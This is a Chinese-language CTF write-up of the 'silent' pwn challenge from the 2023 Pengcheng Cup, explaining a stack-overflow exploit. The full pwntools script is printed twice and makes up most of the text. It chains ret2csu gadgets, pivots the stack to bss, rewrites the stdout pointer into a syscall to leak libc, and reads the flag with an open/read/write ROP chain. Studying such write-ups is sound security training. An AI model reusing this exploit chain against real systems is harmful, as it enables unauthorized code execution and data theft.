鹏城杯2023初赛 pwn(未完)

发布时间 2023-11-05 18:49:02作者: Margatroid

silent

打开ida一看,没有输出函数,只有一个栈溢出。跟巅峰极客的linkmap有点像,都是没有输出函数而且full relro,没法打ret2dl_resolve

但是linkmap那道题中是有能函数能将地址放到bss上的,所以它可以把read的地址放到bss上,然后通过修改bss上的read地址,加上栈迁移来执行别的内容。

而这道题是真的只有一个栈溢出,比赛做了两三个小时没出。

听了unauth401师傅的讲解以及参考了他的博客才搞懂

我们知道除了got表有libc地址,bss最开始的几个std指针里也是libc的地址

 所以跟linkmap一样,如果我们可以修改这几个指针的内容,那就可以达到同样的效果。(这里选stdout)

 1 from pwn import *
 2 from LibcSearcher import*
 3 context(os='linux', arch='amd64', log_level='debug') 
 4 p = process('./pwn')
 5 elf = ELF('./pwn')
 6 libc = ELF('./libc.so.6')
 7 
 8 read_addr=0x4008dc
 9 call_read=0x4008f2
10 pop_rsi_r15_ret=0x400961
11 bss_addr=0x601040
12 pop_rdi_ret=0x400963
13 leave_ret=0x4008fc
14 stdout=0x601020
15 csu1=0x40095A
16 csu2=0x400940
17 read_got=0x600fe0
18 rsp_r13_r15=0x000000000040095d
19 
20 payload1=b'a'*0x48+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(bss_addr+0x800)+p64(0x400)
21 payload1+=p64(csu2)+p64(0)*7+p64(rsp_r13_r15)+p64(bss_addr+0x800-0x10)
22 #gdb.attach(p)
23 p.send(payload1)

这里的payload1是主要调用read来准备给bss上布置payload2,因为我们待会儿还是要栈迁移到bss上的。

 

 1 # 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
 2 magic2=0x4007e8
 3 pause()
 4 
 5 
 6 payload2=flat([
 7     pop_rdi_ret+1,
 8     csu1,0,1,bss_addr+0x800,0,0,0,
 9     csu2,0,-(0x7f349b21a780-0x7f349b1149d0),0x601020+0x3d,0,0,0,0,
10     magic2,
11     csu1,0,1,read_got,0,0x602000,8,
12     csu2,0,0,1,0x601020,1,read_got,8,
13     csu2,0,0,1,read_got,0,bss_addr+0x600,0x400,
14     csu2,0,0,0,0,0,0,0,
15     rsp_r13_r15,bss_addr+0x600-0x18,
16     ])+b"./flag"
17 
18 
19 p.send(payload2)
20 pause()
21 p.send('a')
22 libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
23 success('libc_base=',hex(libc_base))
24 
25 rsi=libc_base+0x000000000002be51
26 rdx=libc_base+0x0000000000796a2
27 payload3=flat([
28     pop_rdi_ret,0x6019d0,
29     rsi,0,
30     rdx,0,
31     libc_base+libc.sym['open'],
32     pop_rdi_ret,3,
33     rsi,0x602000,
34     rdx,0x100,
35     libc_base+libc.sym['read'],
36     pop_rdi_ret,1,
37     libc_base+libc.sym['write']
38     ])
39 pause()
40 p.send(payload3)
41 p.interactive()

payload2是最重要的payload

因为我们并不知道任何libc地址,没法通过调用read来直接修改stdout内容,但是偏移我们是知道的,所以可以通过数值上的加减来实现。

数值上的加减最容易的就是通过寄存器来实现

通过ropgadgets,我们发现第一行写的那段gadget:# 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret

可以将{rbp-0x3d]与ebx相加,所以我们在rbp-0x3d处写上stdout(0x601020),那就能修改stdout的内容为我们想要的。

这里我们选择改成syscall,下面是偏移

 改完之后在第十一行通过read来修改rax为1,调用write来泄露libc。

剩下就是常规orw了。这道题对动调csu感觉要求好高,调半天才搞懂。

exp:

from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug') 
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

read_addr=0x4008dc
call_read=0x4008f2
pop_rsi_r15_ret=0x400961
bss_addr=0x601040
pop_rdi_ret=0x400963
leave_ret=0x4008fc
stdout=0x601020
csu1=0x40095A
csu2=0x400940
read_got=0x600fe0
rsp_r13_r15=0x000000000040095d

payload1=b'a'*0x48+p64(csu1)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(bss_addr+0x800)+p64(0x400)
payload1+=p64(csu2)+p64(0)*7+p64(rsp_r13_r15)+p64(bss_addr+0x800-0x10)
gdb.attach(p)
p.send(payload1)


# 0x4007e8 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
magic2=0x4007e8
pause()


payload2=flat([
    pop_rdi_ret+1,
    csu1,0,1,bss_addr+0x800,0,0,0,
    csu2,0,-(0x7f349b21a780-0x7f349b1149d0),0x601020+0x3d,0,0,0,0,
    magic2,
    csu1,0,1,read_got,0,0x602000,8,
    csu2,0,0,1,0x601020,1,read_got,8,
    csu2,0,0,1,read_got,0,bss_addr+0x600,0x400,
    csu2,0,0,0,0,0,0,0,
    rsp_r13_r15,bss_addr+0x600-0x18,
    ])+b"./flag"


p.send(payload2)
pause()
p.send('a')
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['read']
success('libc_base=',hex(libc_base))

rsi=libc_base+0x000000000002be51
rdx=libc_base+0x0000000000796a2
payload3=flat([
    pop_rdi_ret,0x6019d0,
    rsi,0,
    rdx,0,
    libc_base+libc.sym['open'],
    pop_rdi_ret,3,
    rsi,0x602000,
    rdx,0x100,
    libc_base+libc.sym['read'],
    pop_rdi_ret,1,
    libc_base+libc.sym['write']
    ])
pause()
p.send(payload3)
p.interactive()